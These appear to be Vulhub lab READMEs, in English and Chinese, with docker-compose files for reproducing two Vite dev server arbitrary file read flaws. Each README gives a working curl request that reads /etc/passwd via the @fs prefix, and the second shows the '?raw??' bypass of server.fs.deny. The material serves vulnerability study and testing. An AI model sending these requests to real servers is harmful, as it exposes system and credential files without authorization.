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# Vite Development Server Arbitrary File Read (CNVD-2022-44615)
[中文版本(Chinese version)](README.zh-cn.md)
Vite is a modern frontend build tool that provides a faster and leaner development experience for modern web projects. It consists of two major parts: a dev server with Hot Module Replacement (HMR) capability, and a build command that bundles your code with Rollup.
In versions of Vite before 2.3.0, arbitrary files on the filesystem can be read using the `@fs` prefix.
References:
- <https://github.com/vitejs/vite/issues/2820>
## Environment Setup
Execute the following command to start a Vite 2.1.5 development server:
```bash
docker compose up -d
```
After the server starts, you can access the Vite development environment at `http://your-ip:3000`.
> Note: The development server of the old version of Vite defaults to port 3000, while the new version defaults to port 5173, please pay attention to the difference.
## Vulnerability Reproduction
You can read arbitrary files on the filesystem by using the standard `@fs` prefix:
```bash
curl "http://your-ip:3000/@fs/etc/passwd"
```
![](1.png)

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# Vite开发服务器任意文件读取漏洞CNVD-2022-44615
Vite是一个现代前端构建工具为Web项目提供更快、更精简的开发体验。它主要由两部分组成具有热模块替换HMR功能的开发服务器以及使用Rollup打包代码的构建命令。
在Vite 2.3.0 版本之前,可以通过 `@fs` 前缀读取文件系统上的任意文件。
参考链接:
- <https://github.com/vitejs/vite/issues/2820>
## 环境搭建
执行以下命令启动Vite 2.1.5开发服务器:
```bash
docker compose up -d
```
服务器启动后,可以通过访问`http://your-ip:3000`来访问 Vite 开发服务器。
> 注意旧版本Vite的开发服务器默认端口为3000新版本默认端口为5173请注意区分。
## 漏洞复现
使用标准的`@fs`前缀访问`/etc/passwd`,可以获取文件内容:
```bash
curl "http://your-ip:3000/@fs/etc/passwd"
```
![](1.png)

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services:
web:
image: vulhub/vite:2.1.5
ports:
- "3000:3000"

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# Vite Development Server Arbitrary File Read Bypass (CVE-2025-30208)
[中文版本(Chinese version)](README.zh-cn.md)
Vite is a modern frontend build tool that provides a faster and leaner development experience for modern web projects. It consists of two major parts: a dev server with Hot Module Replacement (HMR) capability, and a build command that bundles your code with Rollup.
In versions of Vite before 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10, the `server.fs.deny` feature, which is designed to restrict access to files outside of Vite's serving allow list, can be bypassed. By appending `?raw??` or `?import&raw??` to URLs using the `@fs` prefix, an attacker can read arbitrary files on the filesystem, as long as the Node.js process has permission to read them.
This vulnerability occurs because trailing separators such as `?` are removed in several places during request processing, but are not accounted for in query string regular expressions, leading to the security check bypass.
This vulnerability is a bypass for the patch of [CNVD-2022-44615](../CNVD-2022-44615/README.md).
References:
- <https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w>
- <https://nvd.nist.gov/vuln/detail/CVE-2025-30208>
## Environment Setup
Execute the following command to start a Vite 6.2.2 development server:
```
docker compose up -d
```
After the server starts, you can access the Vite development environment at `http://your-ip:5173`.
> Note: The development server of the old version of Vite defaults to port 3000, while the new version defaults to port 5173, please pay attention to the difference.
## Vulnerability Reproduction
The vulnerability allows an attacker to read arbitrary files on the server's filesystem by bypassing the `server.fs.deny` protection.
First, try to access `/etc/passwd` using the standard `@fs` prefix to verify that normal access to files outside the allowed directories is properly blocked:
![](1.png)
You should receive a 403 Forbidden response because this path is outside of Vite's allowed serving list.
However, by appending `?raw??` to the URL, you can bypass this restriction and retrieve the contents of the file:
```
curl "http://your-ip:5173/@fs/etc/passwd?raw??"
```
This request will return the contents of the `/etc/passwd` file:
![](2.png)
Alternatively, you can also use the `?import&raw??` query parameters to achieve the same result.

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# Vite开发服务器任意文件读取漏洞绕过CVE-2025-30208
Vite是一个现代前端构建工具为Web项目提供更快、更精简的开发体验。它主要由两部分组成具有热模块替换HMR功能的开发服务器以及使用Rollup打包代码的构建命令。
在Vite 6.2.3、6.1.2、6.0.12、5.4.15和4.5.10版本之前用于限制访问Vite服务允许列表之外的文件的`server.fs.deny`功能可被绕过。通过在URL的`@fs`前缀后增加`?raw??``?import&raw??`,攻击者可以读取文件系统上的任意文件。
此漏洞发生的原因是,在请求处理过程中尾部分隔符(如`?`)在多个地方被移除,但在查询字符串正则表达式中没有考虑,导致安全检查被绕过。
这个漏洞是[CNVD-2022-44615](../CNVD-2022-44615/README.zh-cn.md)补丁的绕过。
参考链接:
- <https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w>
- <https://nvd.nist.gov/vuln/detail/CVE-2025-30208>
## 环境搭建
执行以下命令启动Vite 6.2.2开发服务器:
```
docker compose up -d
```
服务器启动后,可以通过访问`http://your-ip:5173`来访问 Vite 开发服务器。
> 注意旧版本Vite的开发服务器默认端口为3000新版本默认端口为5173请注意区分。
## 漏洞复现
尝试使用标准的`@fs`前缀访问`/etc/passwd`,测试正常访问是否会被限制:
![](1.png)
可见,当发送请求到`http://your-ip:5173/@fs/etc/passwd`你会收到403 Forbidden响应因为这个路径在Vite服务的允许范围之外。
通过在URL后附加`?raw??`,你就可以绕过这个限制并获取文件内容:
```
curl "http://your-ip:5173/@fs/etc/passwd?raw??"
```
这个请求将会返回`/etc/passwd`文件的内容:
![](2.png)
除了上面的Payload你也可以使用`?import&raw??`来达到相同的效果。

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services:
web:
image: vulhub/vite:6.2.2
ports:
- "5173:5173"